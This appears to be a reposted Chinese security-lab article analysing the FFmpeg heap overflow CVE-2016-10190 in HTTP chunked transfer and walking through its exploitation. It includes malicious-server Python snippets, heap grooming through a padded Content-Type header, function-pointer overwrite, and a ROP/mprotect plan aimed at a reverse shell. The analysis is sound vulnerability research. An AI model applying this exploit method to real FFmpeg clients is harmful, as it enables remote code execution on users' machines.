作者:棧長@螞蟻金服巴斯光年安全實驗室
來源:阿里聚安全
1. 背景
FFmpeg是一個著名的處理音視頻的開源項目,非常多的播放器、轉碼器以及視頻網站都用到了FFmpeg作為內核或者是處理流媒體的工具。2016年末paulcher發現FFmpeg三個堆溢出漏洞分別為CVE-2016-10190、CVE-2016-10191以及CVE-2016-10192。本文對CVE-2016-10190進行了詳細的分析,是一個學習如何利用堆溢出達到任意代碼執行的一個非常不錯的案例。
2. 漏洞分析
FFmpeg的 Http 協議的實現中支持幾種不同的數據傳輸方式,通過 Http Response Header 來控制。其中一種傳輸方式是transfer-encoding: chunked,表示數據將被劃分為一個個小的 chunk 進行傳輸,這些 chunk 都是被放在 Http body 當中,每一個 chunk 的結構分為兩個部分,第一個部分是該 chunk 的 data 部分的長度,十六進制,以換行符結束,第二個部分就是該 chunk 的 data,末尾還要額外加上一個換行符。下面是一個 Http 響應的示例。關於transfer-encoding: chunked更加詳細的內容可以參考這篇文章。
HTTP/1.1 200 OK
Server: nginx
Date: Sun, 03 May 2015 17:25:23 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
Content-Encoding: gzip
1f
HW(/IJ
0
漏洞就出現在libavformat/http.c
這個文件中,在http_read_stream
函數中,如果是以 chunk 的方式傳輸,程序會讀取每個 chunk 的第一行,也就是 chunk 的長度那一行,然後調用s->chunksize = strtoll(line, NULL, 16);
來計算 chunk size。chunksize 的類型是int64_t
,在下面調用了FFMIN和 buffer 的 size 進行了長度比較,但是 buffer 的 size 也是有符號數,這就導致了如果我們讓 chunksize 等於-1, 那麼最終傳遞給 httpbufread 函數的 size 參數也是-1。相關代碼如下:
s->chunksize = strtoll(line, NULL, 16);
av_log(NULL, AV_LOG_TRACE, "Chunked encoding data size: %"PRId64"'/n",
s->chunksize);
if (!s->chunksize)
return 0;
}
size = FFMIN(size, s->chunksize);//兩個有符號數相比較
}
//...
read_ret = http_buf_read(h, buf, size);//可以傳遞一個負數過去
而在 httpbufread 函數中會調用 ffurl_read 函數,進一步把 size 傳遞過去。然後經過一個比較長的調用鏈,最終會傳遞到 tcp_read 函數中,函數里調用了 recv 函數來從 socket 讀取數據,而 recv 的第三個參數是 size_t 類型,也就是無符號數,我們把 size 為-1傳遞給它的時候會發生有符號數到無符號數的隱式類型轉換,就變成了一個非常大的值 0xffffffff,從而導致緩衝區溢出。
static int http_buf_read(URLContext *h, uint8_t *buf, int size)
{
HTTPContext *s = h->priv_data;
intlen;
/* read bytes from input buffer first */
len = s->buf_end - s->buf_ptr;
if (len> 0) {
if (len> size)
len = size;
memcpy(buf, s->buf_ptr, len);
s->buf_ptr += len;
} else {
//...
len = ffurl_read(s->hd, buf, size);//這裡的 size 是從上面傳遞下來的
static int tcp_read(URLContext *h, uint8_t *buf, int size)
{
TCPContext *s = h->priv_data;
int ret;
if (!(h->flags & AVIO_FLAG_NONBLOCK)) {
//...
}
ret = recv(s->fd, buf, size, 0); //最後在這裡溢出
可以看到,由有符號到無符號數的類型轉換可以說是漏洞頻發的重災區,寫代碼的時候稍有不慎就可能犯下這種錯誤,而且一些隱式的類型轉換編譯器並不會報 warning。如果需要檢測這樣的類型轉換,可以在編譯的時候添加-Wconversion -Wsign-conversion這個選項。
官方修復方案
官方的修復方法也比較簡單明了,把 HTTPContext 這個結構體中所有和 size,offset 有關的字段全部改為 unsigned 類型,把 strtoll 函數改為 strtoull 函數,還有一些細節上的調整等等。這麼做不僅補上了這次的漏洞,也防止了類似的漏洞不會再其他的地方再發生。放上官方補丁的鏈接。
3. 利用環境搭建
漏洞利用的靶機環境
操作系統:Ubuntu 16.04 x64
FFmpeg版本:3.2.1 (參照https://trac.ffmpeg.org/wiki/CompilationGuide/Ubuntu編譯,需要把官方教程中提及的所有 encoder編譯進去,最好是靜態編譯。)
4. 利用過程
這次的漏洞需要我們搭建一個惡意的 Http Server,然後讓我們的客戶端連上 Server,Server 把惡意的 payload 傳輸給 client,在 client 上執行任意代碼,然後反彈一個 shell 到 Server 端。
首先我們需要控制返回的 Http header 中包含 transfer-encoding: chunked 字段。
headers = """HTTP/1.1 200 OK
Server: HTTPd/0.9
Date: Sun, 10 Apr 2005 20:26:47 GMT
Transfer-Encoding: chunked
"""
然後我們控制 chunk 的 size 為-1, 再把我們的 payload 發送過去
client_socket.send('-1/n')
#raw_input("sleep for a while to avoid HTTPContext buffer problem!")
sleep(3) #這裡 sleep 很關鍵,後面會解釋
client_socket.send(payload)
下面我們開始考慮 payload 該如何構造,首先我們使用 gdb 觀察程序在 buffer overflow 的時候的堆布局是怎樣的,在我的機器上很不幸的是可以看到被溢出的 chunk 正好緊跟在 top chunk 的後面,這就給我們的利用帶來了困難。接下來我先後考慮了三種思路:
思路一:覆蓋top chunk的size字段
這是一種常見的 glibc heap 利用技巧,是通過把 top chunk 的 size 字段改寫來實現任意地址寫,但是這種方法需要我們能很好的控制 malloc 的 size 參數。在FFmpeg源代碼中尋找了一番並沒有找到這樣的代碼,只能放棄。
思路二:通過unlink來任意地址寫
這種方法的條件也比較苛刻,首先需要繞過 unlink 的 check,但是由於我們沒有辦法 leak 出堆地址,所以也是行不通的。
思路三:通過某種方式影響堆布局,使得溢出chunk後面有關鍵結構體
如果溢出 chunk 之後有關鍵結構體,結構體裡面有函數指針,那麼事情就簡單多了,我們只需要覆蓋函數指針就可以控制 RIP 了。縱觀溢出時的整個函數調用棧,avio_read->fill_buffer->io_read_packet->…->http_buf_read
,avio_read
函數和fill_buffer
函數裡面都調用了AVIOContext::read_packet
這個函數。我們必須設法覆蓋 AVIOContext 這個結構體裡面的read_packet
函數指針,但是目前這個結構體是在溢出 chunk 的前面的,需要把它挪到後面去。那麼就需要搞清楚這兩個 chunk 被 malloc 的先後順序,以及 mallocAVIOContext 的時候的堆布局是怎麼樣的。
int ffio_fdopen(AVIOContext **s, URLContext *h)
{
//...
buffer = av_malloc(buffer_size);//先分配io buffer, 再分配AVIOContext
if (!buffer)
return AVERROR(ENOMEM);
internal = av_mallocz(sizeof(*internal));
if (!internal)
goto fail;
internal->h = h;
*s = avio_alloc_context(buffer, buffer_size, h->flags & AVIO_FLAG_WRITE,
internal, io_read_packet, io_write_packet, io_seek);
在ffio_fdopen
函數中可以清楚的看到是先分配了用於io的 buffer(也就是溢出的 chunk),再分配 AVIOContext 的。程序在 mallocAVIOContext 的時候堆上有一個 large free chunk,正好是在溢出 chunk 的前面。那麼只要想辦法在之前把這個 free chunk 給填上就能讓 AVIOContext 跑到溢出 chunk 的後面去了。由於 http_open 是在 AVIOContext 被分配之前調用的,(關於整個調用順序可以參考雷霄華的博客整理的一個FFmpeg的總的流程圖)所以我們可在http_read_header
函數裡面尋找那些能夠影響堆布局的代碼,其中 Content-Type 字段就會為字段值 malloc 一段內存來保存。所以我們可以任意填充 Content-Type 的值為那個 free chunk 的大小,就能預先把 free chunk 給使用掉了。修改後的Http header如下:
headers = """HTTP/1.1 200 OK
Server: HTTPd/0.9
Date: Sun, 10 Apr 2005 20:26:47 GMT
Content-Type: %s
Transfer-Encoding: chunked
Set-Cookie: XXXXXXXXXXXXXXXX=AAAAAAAAAAAAAAAA;
""" % ('h' * 3120)
其中 Set-Cookie 字段可有可無,只是會影響溢出 chunk 和 AVIOContext 的距離,不會影響他們的前後關係。
這之後就是覆蓋 AVIOContext 的各個字段,以及考慮怎麼讓程序走到自己想要的分支了。經過分析我們讓程序再一次調用fill_buffer,然後走到s->read_packet
那一行是最穩妥的。調試發現走到那一行的時候我們可以控制的有RIP, RDI, RSI, RDX, RCX 等寄存器,接下來就是考慮怎麼 ROP 了。
static void fill_buffer(AVIOContext *s)
{
intmax_buffer_size = s->max_packet_size ? //可控
s->max_packet_size :
IO_BUFFER_SIZE;
uint8_t *dst = s->buf_end - s->buffer + max_buffer_size< s->buffer_size ?
s->buf_end : s->buffer; //控制這個, 如果等於s->buffer的話,問題是 heap 地址不知道
intlen = s->buffer_size - (dst - s->buffer); //可控
/* can't fill the buffer without read_packet, just set EOF if appropriate */
if (!s->read_packet&& s->buf_ptr>= s->buf_end)
s->eof_reached = 1;
/* no need to do anything if EOF already reached */
if (s->eof_reached)
return;
if (s->update_checksum&&dst == s->buffer) {
//...
}
/* make buffer smaller in case it ended up large after probing */
if (s->read_packet&& s->orig_buffer_size&& s->buffer_size> s->orig_buffer_size) {
//...
}
if (s->read_packet)
len = s->read_packet(s->opaque, dst, len);
首先要把棧遷移到堆上,由於堆地址是隨機的,我們不知道。所以只能利用當時寄存器或者內存中存在的堆指針,並且堆指針要指向我們可控的區域。在寄存器中沒有找到合適的值,但是打印當前 stack, 可以看到棧上正好有我們需要的堆指針,指向 AVIOContext 結構體的開頭。接下來只要想辦法找到 pop rsp; ret 之類的 rop 就可以了。
pwndbg> stack
00:0000│rsp 0x7fffffffd8c0 —? 0x7fffffffd900 —? 0x7fffffffd930 —? 0x7fffffffd9d0 ?— ...
01:0008│ 0x7fffffffd8c8 —? 0x2b4ae00 —? 0x63e2c8 (ff_yadif_filter_line_10bit_ssse3+1928) ?— add rsp, 0x58
02:0010│ 0x7fffffffd8d0 —? 0x7fffffffe200 ?— 0x6
03:0018│ 0x7fffffffd8d8 ?— 0x83d1d51e00000000
04:0020│ 0x7fffffffd8e0 ?— 0x8000
05:0028│ 0x7fffffffd8e8 —? 0x2b4b168 ?— 0x6868686868686868 ('hhhhhhhh')
06:0030│rbp 0x7fffffffd8f0 —? 0x7fffffffd930 —? 0x7fffffffd9d0 —? 0x7fffffffda40 ?— ...
07:0038│ 0x7fffffffd8f8 —? 0x6cfb2c (avio_read+336) ?— movrax, qword ptr [rbp - 0x18]
把棧遷移之後,先利用 add rsp, 0x58; ret 這種蹦床把棧拔高,然後執行我們真正的 ROP 指令。由於 plt 表中有 mprotect, 所以可以先將 0x400000 地址處的 page 權限改為 rwx,再把 shellcode 寫到那邊去,然後跳轉過去就行了。最終的堆布局如下:
转载请注明:IAMCOOL » CVE-2016-10190 FFmpeg Http協議 heap buffer overflow漏洞分析及利用